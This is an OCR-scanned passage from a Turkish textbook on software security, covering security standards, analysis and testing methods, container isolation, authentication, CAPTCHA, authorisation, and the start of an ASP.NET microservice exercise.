kullanicilarin glvenini artirir hem de yazilim tabanli hizmetlerin ve Urinlerin siber tehditlere karsi
daha direncgli olmasini saglar. Bu standartlar, farkli endustrilerdeki organizasyonlarin yazihm givenligi
becerilerini iyilestirmelerine yardimci olur. Uluslararasi yazilim giivenligi standartlari sunlardir:

e |SO/IEC 27001
¢ |SO/IEC 15408 (Common Criteria)

ISO 27001 e |SO/IEC 27034

e ISO/IEC 29147
— e |ISO/IEC 30111
I
¢ ISO/IEC 25010 (SQuaRE)
e OWASP Top 10
e CERT Secure Coding Standards
e CIS Critical Security Controls

e NIST SP 800-53
Gorsel 3.2: ISO belgesi

ISO/IEC 27001: Bilisim glivenligi yonetim sistemlerinin kurulmasi, uygulanmasi, izlenmesi,
denetlenmesi ve sirekli iyilestiriimesi icin gereksinimleri belirten bir standarttr (Gorsel 3.2).
Yazilim gelistirme siirecini ve uygulamalari kapsayan genis bir ¢cergeve sunar. ISO 27001 standardi,
hizla gelisen ISO/IEC 27000 standart serisinin bir parcasidir ve Uluslararasi Standardizasyon
Orgiitii ile Uluslararasi Elektroteknik Komisyonu tarafindan Ekim 2005’te yayimlanan bir Bilgi
Guvenligi Yonetim Sistemi standardidir. Standardin tam adi ISO/IEC 27001:2005 Information
Technology-Security Techniques-Information Security Management Systems-Requirements
(ISO/IEC 27001:2005 Bilgi Teknolojisi-Gilivenlik Teknikleri-Bilgi Guivenligi Yonetim Sistemleri-
Gereksinimler) seklindedir ancak genellikle ISO 27001 standardi olarak anilir.

ISO/IEC 15408 [Common Criteria( Ortak Kriterler)]: Bilgi teknolojisi Grlnlerinin ve sistemlerinin
givenlik ozelliklerini degerlendirmek ve sertifikalandirmak icin kullanilan uluslararasi bir
standarttir. Common Criteria; yazihm, donanim ve sistemler gibi c¢esitli bilisim sistemleri
bilesenlerinin glivenlik degerlendirmelerini gergeklestirmek igin tasarlanmistir. Common Criteria,
yazihm glvenligi saglama standartlarindan biridir ¢iinkl yazilim bilesenlerini ve sistemlerini
degerlendirirken glivenlik Ozelliklerini dikkate alir. Bu standart hem yaziim hem de donanim
bilesenlerinin giivenligini degerlendirmek tzere tasarlanmis bir gcercevedir.

ISO/IEC 27034: Uygulama giivenligi yonetimini ele alan bir standarttir. Yazilim uygulamalarinin
tasarimindan gelistirilmesine ve test edilmesine kadar olan siireci kapsar. Bu standart, yazilim
glvenligi risklerini yonetmek icin rehberlik saglar. Information technology-Security techniques-
Application security (Bilgi teknolojisi-Giivenlik teknikleri-Uygulama giivenligi) bashgl altinda
yayimlanan bir uluslararasi standarttir. Bu standart, yazihm uygulamalarinin giivenligini artirmak
ve yazilim gelistirme stirecinde giivenligi entegre etmek amaciyla olusturulmustur. ISO/IEC 27034
ozellikle yazihm tabanli saldirilara karsi koruma saglamak icin yonergeler sunar.

ISO/IEC 29147: Glvenlik agiklarinin raporlanmasi icin kilavuzlar icerir. Information technology-
Security techniques-Vulnerability disclosure (Bilgi teknolojisi-Giivenlik teknikleri-Giivenlik
aciginin actklanmasi) bashgl altinda yer alir ve glvenlik acikliklarinin raporlanmasiyla ilgili
rehberlik saglar. Bu standart; glvenlik agikliklarinin tespit edilmesi, bildirilmesi ve dizeltiimesi
slrecini diizenlemeyi hedefler. Yazilim ve Urin gelistiricileri bu sayede giivenlik acikliklarini daha
etkili bir sekilde ele alabilir ve kullanicilarin glivenli bir sekilde Grlinleri kullanmalarini saglayabilir.
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ISO/IEC 30111: Uriinlerdeki giivenlik aciklarinin yonetimi ve koordinasyonunu diizenler.
Information technology-Security techniques-Vulnerability handling processes (Bilgi teknolojisi-
Giuvenlik teknikleri-Giivenlik agig1 ele alma siiregleri) bashg altinda yer alir ve givenlik
acikhklarinin islenme stirecini diizenlemek icin kullanilr.

ISO/IEC 25010 (SQuaRE): Yazilimin lriin kalitesini degerlendirmek icin kilavuzlar sunar. Systems
and software Quality Requirements and Evaluation [SQuaRE (Sistemler ve yazilim Kalite
Gereksinimlerive Degerlendirmesi)] serisinin bir parcasidir. Bu standart, yazilim ve sistem kalitesini
degerlendirmek ve gereksinimlerini belirlemek igin kullanilan bir ¢ergevedir. Bu gerceve; yazilimin
islevselligini, glvenilirligini, kullanilabilirligini, performansini ve diger kalite 6zelliklerini ele alir.
ISO/IEC 25010 standardinin temel amaci, yazilimin kalitesini objektif bir sekilde degerlendirmek
ve gelistirmek icin gereken kilavuzlar ile prensipleri sunmaktir. Bu standart, yazilim Griinlerinin ve
sistemlerinin belirli kalite 6zelliklerine ne kadar uygun oldugunu degerlendirmek ve iyilestirmek
isteyen organizasyonlar icin rehberlik saglar.

OWASP Top 10: En yaygin web uygulamasi glivenligi risklerini siralayan bir proje ve rehber serisi

sunar (Gorsel 3.3). OWASP Top 10, en kritik web glivenligi risklerini ve bu risklerle nasil basa
cikilacagini tanimlar.

£ l | | ' - . ‘\ » =
Open Web Application Securty Project
(Agik) (Web) (Uygulama) (Gilvenlik) (Proje)

T
OWASP

Gorsel 3.3: OWASP bilesenleri

CERT Secure Coding Standards (CERT Giivenli Kodlama Standartlar): Yazilim gelistiricilerine
rehberlik saglamak ve glivenli kodlama uygulamalarini tesvik etmek i¢in olusturulmus bir dizi
standarttir. CERT, Computer Emergency Response Team (Bilgisayar Acil Durum Yanit Ekibi)
anlamina gelir ve yazilim glivenligi, savunma ve yanit konularinda uzmanlasmis bir kurulustur.
CERT Secure Coding Standards, yazilim gelistiricilerine rehberlik saglamak ve giivenli kod yazma
uygulamalarini tesvik etmek amaciyla olusturulmustur. Bu standart, kod yazimindan énce ve kod
yazimi sirasinda dikkate alinmasi gereken giivenlik ilkelerini agiklar. Her dile ait 6zgil glvenlik
hatalari ve risklerini ele alirken genel glivenli yazilim gelistirme prensiplerini de kapsar.

CIS Critical Security Controls (CIS Kritik Glivenlik Kontrolleri): Uygulanmasi gereken siber glivenlik
kontrollerinin listesini sunar. Organizasyonlarin da yazilim gelistiricilerin de siber saldirilara karsi
direngli sistemler olusturmak icin bu kontrolleri takip etmeleri dnerilir.

NIST SP 800-53: Amerika Birlesik Devletleri Ulusal Standartlar ve Teknoloji Enstitlist (NIST)
tarafindan gelistirilen bu rehber, federal bilgi sistemlerinin glvenligini artirmak igin kullanilir.
Yazilim glivenligi, genel bilgi sistem glivenliginin bir parcasi olarak ele alinir.
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ARASTIRMA )

Sizler de 6zellikle ISO/IEC 27000 standart ailesine ait diger standartlari arastiriniz.
Edindiginiz bilgileri sinifta arkadaslarinizla paylasiniz.

3.1.3. Yazilim Giivenligini Saglama Yontemleri

Yaziimdaki hatalari azaltmak ve yazilimin givenligini artirmak icin bircok yontem mevcuttur. Yazilim
glvenligini saglama yontemleri, sezgisel (heuristic) ve benzetime (simulation) dayali yéntemler ile
bicimsel (formal) yontemler olarak ikiye ayrilir.

3.1.3.1. Sezgisel ve Benzetime Dayali Yontemler

Guvenlik agiklarini tespit etmek ve yazilimin saglamhgini artirmak igin kullanilan yontemler cesitlilik
gosterir. Bu yontemler, yazihmin kod yapisini inceleyerek potansiyel zayif noktalari belirlemekten
programin sembolik bir 6rnegini olusturup farkli giris degerlerini test etmeye kadar genis bir yelpazede
uygulanir. Sezgisel ve benzetime dayali yontemler sunlardir:

Statik Analiz Yontemi (Static Analysis): Yazilim kodunu analiz ederek potansiyel glivenlik aciklarini tespit
etmek igin kullanilan bir yontemdir. Bu yontem, kodun yapisini ve mantigini inceleyerek potansiyel zayif
noktalari belirlemeye calisir.

Sembolik Uygulama Yéntemi (Symbolic Execution): Programin sembolik bir 6rnegini olusturup, farkh
giris degerleri Gizerinde sembolik sekilde calistirarak giivenlik aciklarini tespit etmeye calisir. Bu yontem,
ozellikle karmasik kosullu ifadeleri analiz etmek ve potansiyel hata durumlarini bulmak igin kullanilir.

Dinamik Analiz Yontemi (Dynamic Analysis): Yazilimin ¢alisma zamaninda gergeklestirilen bir analiz
yontemidir. Bu yontemde, yazilim gercek bir ortamda calistirilir ve glvenlik aciklari veya hatal
davranislar tespit edilmeye calisilir. Dinamik analiz; testler, hata ayiklama araclari, glivenlik tarayicilari
gibi gesitli tekniklerle gergeklestirilebilir. Dinamik analiz yontemleri sunlardir:

a) Ag Tarayicisi: Ag Uzerindeki cihazlar ile yazihmlari belirleyen ve bunlarin 6zelliklerini tespit
eden Nmap vb. araglardir.

b) Ag Dinleyicisi: Ag Gzerindeki trafigi dinleyerek anlk analiz eden veya sonradan analiz edilmek
Uzere kaydeden Wireshark vb. araglardir.

c) Ag Zayiflik Tarayicisi: Bir ag cihazina, yazilimina veya ag lzerindeki bir servise daha énceden
olusturulmus ag trafigi gondererek givenlik politikalarina uygunlugunu veya bilinen
zayifliklarini tespit etmek igin kullanilan OpenVAS vb. araglardir.

Negatif Test (Negative Testing) Yontemi: Yazilimin beklenmedik veya hatali girislere nasil tepki verdigini
test etmek i¢in kullanilan bir yontemdir. Bu testlerde programin sinirlarini zorlamak ve hatali durumlari
tetiklemek icin gecerli olmayan veya beklenmedik veriler kullanilir.

Rastgele Test (Fuzz Testing) Yontemi: Yazilimi test etmek icin rastgele giris degerleri kullanilan bir
yontemdir. Bu yontemde yazilimin farkli senaryolara ve rastgele verilere nasil tepki verdigi gozlemlenir,
potansiyel hatalar tespit edilmeye calisilir.
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3.1.3.2. Bigimsel Yontemler

Bicimsel yontemler, yazilim glivenligi analizi icin matematiksel ve mantiksal temellere dayanan bir
yaklasimdir. Bu yontemler, yazilim sistemlerinin dogrulugunu ve gilivenligini matematiksel olarak
kanitlamak veya olasi hatalari tespit etmek icin kullanilir. Bigimsel yontemler kullanilarak belirli tir
yazihm hatalari tamamen engellenebilir, sirekli test yapmaktan ve hata diizeltmekten dolayi olusan
maliyetler azaltilabilir. Bicimsel yontemlerin bazilari sunlardir:

Bicimsel Program Analizi: Yazilimin matematiksel ve mantiksal analizini kullanarak dogrulugunu ve
glvenligini degerlendiren bir yontemdir. Bu yontem, yazilimin semantik yapisini ve davranisini analiz
ederek potansiyel hatalari ve glivenlik agiklarini tespit etmeyi amaglar.

Model Dogrulayicilar: Yaziimin 6zelliklerini matematiksel modeller kullanarak dogrulayan ve analiz
eden araclar ile tekniklerdir. Model dogrulayicilar, yazimin belirli glivenlik 6zelliklerini sagladigini veya
saglamadigini kontrol eder ve hatalari belirler. Ornegin Z, Alloy, SPARK, Coq, PROMELA gibi formel diller,
yazilimin matematiksel olarak modellenmesine ve analizine imkan tanir.

Mantik Yontemleri: Mantik temelli formel dil ve yontemleri kullanarak yazihm givenligini analiz
etmeyi amaclayan bir yaklasimdir. Bu yontemler; yazihmin belirli glivenlik 6zelliklerini formalize etmek,
matematiksel ifadelerle tanimlamak ve bunlarin dogrulugunu kanitlamak icin kullanilr.

Dogrulanmis Arag¢ ve Kod Depolari Kullanma: Bicimsel olarak dogrulanmis araglar ve kod depolari
kullanarak glvenli yazilm gelistirmeye odaklanan bir yéntemdir. Bu depolarda yer alan araglar ve kod
parcaciklari, belirli glivenlik 6zelliklerini saglamak igin formel dogrulama ve analiz yontemleriyle test
edilerek onaylanmistir.

Kod Giiglendirme: Bicimsel yontemler kullanilarak yazilimin givenliginin artirilmasina yoénelik
glglendirme teknikleridir. Bu yontemler; kodu hatalara karsi daha dayanikli hale getirmek, giivenlik
actklarini tespit etmek ve gidermek, dogrulamak ve dogruluk garantileri saglamak amaciyla kullantlir.

ispat Tasiyan Kod: Yazilimin belirli zelliklerini matematiksel ispatlarla desteklenen sekilde kodlamayi
amaglayan bir ydntemdir. ispat tasiyan kod, yazilimin giivenlik agiklarini minimize etmek ve dogrulama
sureclerini kolaylastirmak icin formel dogrulama ve matematiksel ispatlarla desteklenir.

3.1.4. Yazilim Calisma Ortaminin Gilivenligini Saglayan Yontemler

Bazi glivenlik islevlerinin sistem tarafinda ortak kullanilabilir mekanizmalarla saglanmasi, saldirilara karsi
dayanikli ve glivenlik hizmetlerini varsayilan olarak saglayan calisma ortami olusturulmasi, yazihmin
glvenligini artiracak énlemler arasindadir. Ortak glivenli mimari oriintilerinin kullaniimasi, yeni nesil
yazilim teknolojilerinde glvenligi artirir. Yaziim galisma ortaminin glivenligini saglayan yontemlerin
bazilari sunlardir:

¢ Sanallastirma ortamlarinin kullaniimasi
e Yazilimlarin mikroservis mimarisiyle gelistiriimesi

e Uygulama Konteyneri (Application Container) kullanimi

Sanallagtirma Ortamlarinin Kullanilmasi: Sanallastirma, bir fiziksel sunucu tzerinde birden fazla sanal
makine ¢alistirma yontemidir. Sanal makineler, izole bir ortamda galisir ve kaynaklari diger makinelerle
paylasirken birbirlerinden bagimsizdir. Bu durum, yazilim ¢alisma ortaminin izole edilmesini saglar ve
glivenlik aciklarinin yayilmasini 6nler. Sanallastirma teknolojileri, glivenli calisma ortamlari olusturmak
icin sik¢a kullanilir. Bu ortamlara VMware vSphere, Microsoft Hyper-V, Citrix Hypervisor, Oracle VM
VirtualBox, Docker vb. 6rnek olarak verilebilir.
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Yazilimlarin Mikroservis Mimarisiyle Gelistirilmesi: Yazilimlar kiguk, bagimsiz ve 6lgeklenebilir
hizmetlere ayirmaylr amaclayan bir yaklasimdir. Mikroservis mimarisi, yazilimlarin daha iyi izole
edilmesini ve glivenlik aciklarinin sinirli bir alanda kalmasini saglar. Her bir mikro hizmet, kendi giivenlik
onlemlerini uygular ve glvenlik agisindan daha giiclu bir yapi saglar.

Uygulama Konteyneri (Application Container) Kullanimi:
Yazilimlarin izole bir ortamda c¢alismasini saglayan ve
kaynaklarin  paylasimini  kontrol eden bir teknolojidir.
Bu konteynerler, yazilimlarin diger sistem bilesenleriyle
etkilesimini sinirlar ve giivenlik agiklarinin yayilmasini onler.
Ornegin Docker veya Kubernetes gibi konteyner teknolojileri,
uygulamalari izole ederek glivenli bir calisma ortami saglar
(Gorsel 3.4).

Kubepnetes

! /. Sanal Makineler [Virtual Machine (VM)], her bir isletim siste-
\ doc ker/ mi veya sunucu igin tam bir isletim sistemine sahiptir. Docker
\ gibi bir konteyner ise isletim sisteminin tamaminin yerine bo-
~ 4 yut olarak indirgenmis Images’leri kullanir. isletim sisteminin
™ tim katuphanelerinin paylasimli olarak kullanilabilmesine
imkan verir ancak bu yapi, Docker’in sistem kaynak tiiketim
konusunda avantajini gésterirken izolasyon seviyesini de di-
stirir. Ornegin Docker ve sanal makineler kullanim agisindan
degerlendirildiginde Docker’in daha avantajli oldugu gorilir. Docker; hiz, tasinabilirlik, 6lceklenebilirlik,
hizli teslimat, yogunluk gibi avantajlara sahiptir (Gorsel 3.5).

P

Gorsel 3.4: Docker mimarisi
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Altyapi

Sanal Makine Docker

Gorsel 3.5: Docker ile sanal makinenin karsilastirilmasi

Bu yontemler, yazilimin calistigi ortamin glvenligini saglamak igin kullanilan etkili stratejilerdir.
Uygulama konteynerleri, mikroservis mimarisi ve sanallastirma ortamlari, yazilim bilesenlerini izole
ederek guvenlik agiklarinin sinirl bir alanda kalmasini saglar. Bu sayede yazilim galisma ortami daha
glvenli hale gelir ve potansiyel tehditlere karsi daha iyi korunur.
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OWASP kisaltmasinin agihmina ait kelimeleri bas harflerine gére tamamlayiniz.
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Asagida verilen ifadeleri yazilim giivenligini saglama yontemlerine gére degerlendirerek
ifadelerin karsisina Bicimsel Yontem veya Sezgisel ve Benzetime Dayali Yontem yaziniz.

Bigimsel Program Analizi

Model Dogrulayicilar

Mantk Yontemleri

Dogrulanmis Arag ve Kod Depolan Kullanma

Negatif Test Yontemi

Rastgele Test (Fuzz Testing) Yontemi
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3.2. KiIMLIK DOGRULAMA

Kimlik dogrulama, bir kullanicinin kimligini dogrulamak igin kullanilan bir stiregtir. Bu islem, kullanicilarin
sistemlere ve verilere erisimini kontrol etmek icin dnemlidir (Gorsel 3.6).

Username

Rk o ok e

@® Remember me

Gorsel 3.6: Kimlik dogrulama

Kimlik dogrulama, yazilim glivenliginin 6nemli parcalarindan biridir. Etkili kimlik dogrulama; veri gizliligini
korumak, koti niyetli etkinlikleri 6nlemek, hesap glivenligini saglamak ve izlenebilirligi artirmak igin
kritik 6neme sahiptir.

3.2.1. Kimlik Dogrulama Cesitleri

Kimlik dogrulama; bilgi tabanli, faktor tabanli ve 6znitelik tabanh olmak tzere (¢ sekilde yapilir.

3.2.1.1. Bilgi Tabanh Kimlik Dogrulama

Bilgi tabanh kimlik dogrulama, kullanicilarin kimliklerini dogrulamak icin cesitli bilgileri kullanir (Gorsel
3.7). Bu bilgiler genellikle kullanici adlari, parolalar ve diger kisisel bilgilerdir.

Parola tabanli kimlik dogrulama, bilgi tabanh kimlik dogrulamanin en yaygin 6rnegidir. Parola tabanl
kimlik dogrulamada kullanicilar, bir kullanici adi ve parola girmek zorundadir. Kullanici adi, kullanicinin
kimligini tanimlayan bir bilgidir. Parolaise kullanicinin kimligini dogrulamak igin kullanilan gizli bir bilgidir.
Parola tabanh kimlik dogrulama, en cok kullanilan kimlik dogrulama yontemidir ancak parolalarin
calinabilir veya tahmin edilebilir olmasi nedeniyle kimlik dogrulama icin tek basina yeterli degildir.

Gorsel 3.7: Bilgi tabanh kimlik dogrulama
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3.2.1.2. Faktor Tabanlh Kimlik Dogrulama

Faktor tabanli kimlik dogrulama, kullanicilarin kimliklerini dogrulamak icin birden fazla faktor kullanir.
Bu faktorler; bilgi, sahiplik veya davranis olabilir. 2FA, faktoér tabanli kimlik dogrulamanin en yaygin
ornegidir. 2FA’da kullanicilar, bir parolanin yani sira ikinci faktér girmek zorundadir. Bu ikinci faktor
genellikle tek kullanimlik sifre veya biyometrik veridir.

Tek kullanimlik sifreler genellikle bir SMS mesaji veya bir uygulama aracihigiyla génderilir. Bu sifreler, her
oturum acma icin farkhdir ve sifreler kullanildiktan sonra iptal edilir. Biyometrik veriler, kullanicilarin
kimliklerini dogrulamak icin kullanilabilecek diger ikinci faktordir. Biyometrik veriler, her birey benzersiz
oldugu icin daha givenli bir kimlik dogrulama yontemidir. Biyometrik veriler; parmak izi, yliz tanima,
iris taramasi, ses tanima, imza tanima gibi cesitli sekillerde kullanilabilir.

3.2.1.3. Oznitelik Tabanh Kimlik Dogrulama

Oznitelik tabanli kimlik dogrulama, kullanicilarin kimliklerini dogrulamak icin kullanicinin ézelliklerini
kullanir. Bu 6zellikler genellikle kullanicinin fiziksel veya davranissal 6zellikleridir.

Biyometrik kimlik dogrulama, 6znitelik tabanl kimlik dogrulamanin bir érnegidir. Biyometrik kimlik
dogrulamada kullanicilarin biyolojik ozellikleri (6rnegin parmak izi, yiz tanima vb.) kullanilir. Diger
bir 6znitelik tabanl kimlik dogrulama yontemi, davranissal kimlik dogrulamadir. Davranissal kimlik
dogrulamada kullanicilarin davranislari (6rnegin klavye vuruslari, fare hareketleri vb.) kullanilir.

Bilgi tabanli, faktoér tabanlh ve 6znitelik tabanli kimlik dogrulama yontemleri, farkli giivenlik seviyeleri
sunar. Bilgi tabanh kimlik dogrulama en az glivenli yontemdir. Faktor tabanh kimlik dogrulama daha
giivenli bir yontemdir. Oznitelik tabanh kimlik dogrulama ise en giivenli ydntemdir.

Kurumlar, risk degerlendirmesine gore kullandiklari kimlik dogrulama yontemini belirlemelidir. Yiiksek
riskli ortamlarda daha giivenli kimlik dogrulama yontemleri kullaniimahdir.

3.2.2. Kaba Kuvvet Saldirilarini Onleme Algoritmalari

Kaba kuvvet saldirilari, saldirganin bir parolayi veya diger bir gizli degeri tahmin etmek icin tiim olasi
degerleri denemesi islemidir (Gorsel 3.8). Kaba kuvvet saldirilari, zayif parolalar icin ¢ok etkilidir.

Kimlik dogrulamada kullanilan kaba kuvvet saldirilarini dnleme algoritmalari, bu saldirilarin basarisini
azaltmayi amaglar. Bu algoritmalar, parolalarin tahmin edilmesini zorlastirarak veya saldirganin parolayi
tahmin etmek icin harcadigi zamani artirarak galisir.

Gorsel 3.8: Kaba kuvvet saldirilar
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Kaba kuvvet saldirilarina karsi koruma saglayan algoritmalar ve teknikler genellikle gtivenlik yazilimlari
veya sistem yoneticileri tarafindan gelistirilen 6zel yontemlerdir ancak genel olarak kullanilan bazi
algoritmalar ve teknikler sunlardir:

1. Hesap Kilitleme Algoritmalari: Belirli bir kullanici hesabina, belirli bir siire igcinde ¢ok sayida
basarisiz giris denemesi gerceklestiginde hesabi kilitleyen algoritmalardir.

2. Zaman Gecikmeli Yanit Algoritmalari: Her basarisiz giris denemesinden sonra belirli bir stire
boyunca sistemden yanit alinmamasini saglayan veya gecikme ekleyen algoritmalardir.
Parola Karmasikhigi Kontrolii: Gliglu parolalarin kullanilmasini saglayan algoritmalardir.

4. Cift Faktorli Kimlik Dogrulama Algoritmalari: Parolanin yaninda ikinci bir kimlik dogrulama
faktori kullanilan algoritmalaridir. Buislem, kullanicilarin sifrelerine ek olarak mobil cihazlarina
veya e-postalarina génderilen kod gibi ikinci bir kimlik dogrulama bigimini gerektirir.

5. IP Adresi Bazli Kontroller: Belirli IP adreslerinden gelen giris denemelerini izleme veya
engelleme algoritmalaridir.

6. Giris Gunllkleri Analizi Algoritmalari: Giris glinliklerini analiz ederek slpheli aktiviteleri
tespit etme algoritmalaridir.

7. Yavaslatma Algoritmalari: Kaba kuvvet saldirilarini yavaslatmak icin giris denemeleri arasinda
gecikme ekleyen algoritmalardir.

8. Gegici Hesap Kilitleme Algoritmalari: Belirli bir siire boyunca hesabi kilitleyen ve daha sonra
otomatik olarak acan algoritmalardir.

9. Yapay Zeka ve Anomali Tespiti: Yapay zeka ve makine 6grenmesi kullanarak normalden sapma
gosteren kullanici davranislarini tespit eden algoritmalardir.

10. Gelismis Sifreleme Algoritmalari: Guvenli sifreleme algoritmalarini kullanarak parolalarin
daha glivenli bir sekilde saklanmasini saglayan algoritmalardir.

3.2.3. Giivenli CAPTCHA Kullanimi

CAPTCHA [Completely Automated Public Turing test to tell Computers and Humans Apart (Bilgisayarlari
ve insanlari Ayiracak Tamamen Otomatik Herkese Acik Turing testi)], bilgisayarlari insanlardan ayirmak
icin tasarlanmis bir giivenlik mekanizmasidir. CAPTCHA'lar genellikle bir resimde verilen metnin
veya sayillarin girilmesini, resimdeki nesnelerin segilmesini gerektirir. Glvenli CAPTCHA kullanimi,
CAPTCHA'nIn robotlar tarafindan asilmasini zorlastiran bir dizi dnlemi igerir. Bu 6nlemler; CAPTCHA'nin
daha zor hale getirilmesini, daha sik kullaniimasini ve robotlarin basarisinin engellenmesini saglayacak
sekilde tasarlanmistir. Bazi CAPTCHA 6rnekleri sunlardir:

1.

Gorsel Algi Testi: CAPTCHA genellikle gorsel algi testiniicerir. Kullanicidan istenen gérev, metin
tabanli olabilir (6rnegin bicimi degistirilmis karakterleri tanima) veya resim tabanli olabilir
[6rnegin belirli nesneleri segme (Gorsel 3.9a)].

Bilgisayarlara Zorluk: Gorsel algi testi, insanlar icin oldukca dogal ve basit bir gérevdir ancak
bilgisayar programlari icin zor ve karmasiktir. Ozellikle bicimi degistirilmis karakterler veya
gizlenmis nesnelerle ilgili karmasik gorevler, bilgisayar programlarinin zorlanmasina neden
olabilir (Gorsel 3.9b).

Rastgele Uretilen Gorevler: CAPTCHA, her seferinde rastgele Uretilen gérevler sunar. Bu
gorevler, otomatik botlarin édnceden belirlenmis desenlere veya algoritmalarina dayanarak
CAPTCHA'y1 ¢bzmesini zorlastirir.

Zaman Sinirlamasi: CAPTCHA belirli bir sire icinde c¢o6ziilmelidir. Otomatik botlarin
CAPTCHA’lari ¢bzmesi, insanlarin ¢dzmesinden daha uzun zaman alir. Zaman sinirlamasi
uygulanarak otomatik botlarin CAPTCHA'lar1 ¢cdzmesi zorlastirilir.
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Gorsel ve isitsel Cesitlilik: CAPTCHA, farkli tipte gorsel ve isitsel gorevleri icerir. CAPTCHA
sadece metin tabanh degil resimleri ve sesleri tanima yetenegini de test eder.

Fare Hareketlerinin izlenmesi: Kaydedilen fare hareketleri, kullanicinin gercek bir insan
oldugunu dogrulamak icin kullanilir. Botlar, fare hareketlerini daha diizgiin ve hizli yaparken
insanlarin fare hareketleri daha karmasik ve yavastir (Gorsel 3.9¢).

Trafik Isiklari

Igeren gérselleri seginiz.
Eger yoksa lsaretlemeyiniz.

c) ~
\./ Ben robot degilim ‘

Gorsel 3.9: CAPTCHA ornekleri

3.2.4. Yetkilendirme Yontemleri

Yetkilendirme, kullanicinin bir sisteme veya kaynaga erisim izninin olup olmadigini belirleme islemidir.
Yetkilendirme, kimlik dogrulamadan sonra gelir ve kimligi dogrulandiktan sonra bir kullanicinin belirli
kaynaklara erismesine izin verir.

Yetkilendirme Yontemlerinin Siniflari

Yetkilendirme yontemlerinin siniflari sunlardir:

izin Tabanh Kimlik Dogrulama: Kullanicilara belirli kaynaklara erismek icin izinler verilir. izinler,
kullanicilarin kimligine ve rollerine gore belirlenir. Izin tabanh kimlik dogrulama, en yaygin
kullanilan yetkilendirme yontemidir.

Erisim Kontrol Listesi [Access Control List (ACL)] Tabanh Kimlik Dogrulama: izin tabanli kimlik
dogrulamanin bir c¢esididir. Kaynaklara erisimi kontrol etmek icin ACLler kullanilir. ACLler,
kullanicilara hangi kaynaklara erisme izni verildigini tanimlar.

Rol Tabanli Erisim Kontrollii [Role Based Access Control (RBAC)] Kimlik Dogrulama: Karmasik
bir yetkilendirme yontemidir. Kullanicilara belirli roller atanir. Roller, kullanicilarin belirli
kaynaklara erismesine izin verir.

Yetkilendirme yontemleri, sistemlerin ve uygulamalarin glivenligini saglamak icin 6nemlidir. Bu yon-
temler, yetkisiz kullanicilarin sistemlere ve kaynaklara erisimini 6nlemeye yardimci olur. Yetkilendirme
yontemleri secilirken dikkate alinmasi gereken faktorler sunlardir:

e Sistem veya uygulamanin ihtiyaclari

e Sistem veya uygulamanin giivenligi

e Yetkilendirmenin karmasiklig

¢ Yetkilendirmenin maliyeti
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3.2.5. Eksik Yetkilendirme Kontrolleri

Eksik yetkilendirme, bir sistemin veya uygulamanin giivenligini tehlikeye atabilecek énemli glvenlik
aciklarindan biridir. Eksik yetkilendirme, yetkisiz kullanicilarin sistemlere, kaynaklara erismesine veya
yetkisiz eylemler gerceklestirmesine izin verebilir. Eksik yetkilendirme kontrolleri saglanmadiginda veri
ihlali gibi yetkisiz kullanicilarin hassas verilere erisim saglamasi ve verileri degistirmesi gerceklesebilir.
Belirli islevlere veya kaynaklara yetkilendirme eksikse kotii niyetli bir kullanici, bu kaynaklara yogun ta-
leplerde bulunarak hizmetin normal isleyisini engelleyebilir (DoS saldirisi). Yetersiz giivenlik denetimleri
sebebiyle dosya ve dizin yazim yetkileri kotliye kullanilabilir (Malware).

Yetkilendirme kontrolleri, sistemlerin ve uygulamalarin glivenligini saglamak icin dnemli bir bilesendir.
Eksik yetkilendirme, ciddi glivenlik risklerine neden olabilir. Bu nedenle yetkilendirme kontrolleri dik-
katlice tasarlanmali, uygulanmali ve yonetilmelidir.

Asagida verilen sorulari arkadaslarinizla degerlendirerek “Kimlik Dogrulama” ve
“Yetkilendirme” kutucuklarina cevaplarinizi yaziniz.

', 1. Yazilim guvenliginde kimlik dogrulama neden énemlidir?
2. Yetkilendirme yontemlerinin 6nemi nedir?
3. CAPTHA'lar ne kadar guvenlidir?
4. Eksik yetkilendirme kontrollerinin sonuclari neler olabilir?

'—éKimlikDogrulamaé_ v{ Yetkilendirme %_

!
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3.3. GUVENLI YAZILIM GELiSTIRME

Ev asistanlari, evlerde akilli cihaz kullaniminin artisiyla hayatin ayrilmaz bir parcasi haline gelir. Bu
baglamda mikroservis mimarisi kullanilarak gerceklestirilen ev asistani uygulamasi, web tabanl
olmanin yani sira mobil ve 10T [Internet of Things (Nesnelerin interneti)] platformlarina yénelik olarak
da gelistirilir. Gorsel 3.10’da uygulama mimarisine bir 6rnek verilmistir.

Arka Ug

AE—,

" -

+ Kullanici Bilgileri Veri Tabani

istemci Uygulamalan

a—

— -

Mobil : J\PIGeclanikmsemsi : I Cihaz Bilgileri Veri Tabani

Uygulamasi T
L—
| . E apl

Itps:iwew.meb. g e ’ ! Yetkilendirme Mikroservisi.
Web vy '

Uygulamasi | ; @
| L

docker
Gorsel 3.10: Ornek uygulama mimarisi

3.3.1. Kullanici Web APl Mikroservisi

Kullanict Web APl mikroservisi, kullaniciya ait bilgileri veri tabanina isler. Kullanici veri tabaninda kayit
olusturma, okuma, degistirme ve silme islemlerini gerceklestirir.

UYGULAMA

> Kullanict Web APl mikroservisini ASP.NET kullanarak verilen adimlar
dogrultusunda gerceklestiriniz.

I1 Adim: Visual Studio programinda Blank Solution sablonuyla Ev Asistani adinda bos bir c;ozumI
. olusturunuz .

2 Adim: Coziim Gezgini penceresinde ApiGateway, loT, Microservices ve Ul klasorleri olusturunuz:
' (Gorsel 3.11). !

Solution Explorer

R =R CI fa|- K=

Search Solution Explorer (Ctrl+s) R~

ﬁ'q Solution 'EvAsistani’ (1 of 1 project)
3 ApiGateway
Bl loT

P E3 Microservices

B ul

Gorsel 3.11: Ev asistani projesinin klasor yapisi
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'3 Adim: Microservices klasori icine UserServiceWebAPI adinda bir Asp.Net Core Web API projesi '
. olusturunuz.

! 4 Adim: Projeye Docker Compose konteyner yoneticisi destegi ekleyiniz (Gorsel 3.12).

Add Container Orchestrator Support X

Container orchestrator: i Docker Compose vi

' 5. Adim: Nuget paket yoneticisi ile MySql.EntityFrameworkCore 7.0.5 yikleyiniz.

! 6 Adim: UserServiceWebAPI projesi icine Models adinda yeni bir klasér olusturunuz.

C# dilinde Models klasorl, bir yazilim projesinin genellikle veri yapisini ve uygulama
mantigini temsil eden model siniflarini iceren bir klasordiir. Bu klasér, uygulamanin icerdigi
veri nesnelerini, varliklarini veya is mantigi modellerini gruplamak ve dizenlemek amaciyla
kullanilir. Model siniflari genellikle veri tabani tablolarini veya dis veri kaynaklarini temsil
eden nesneleri igerir.

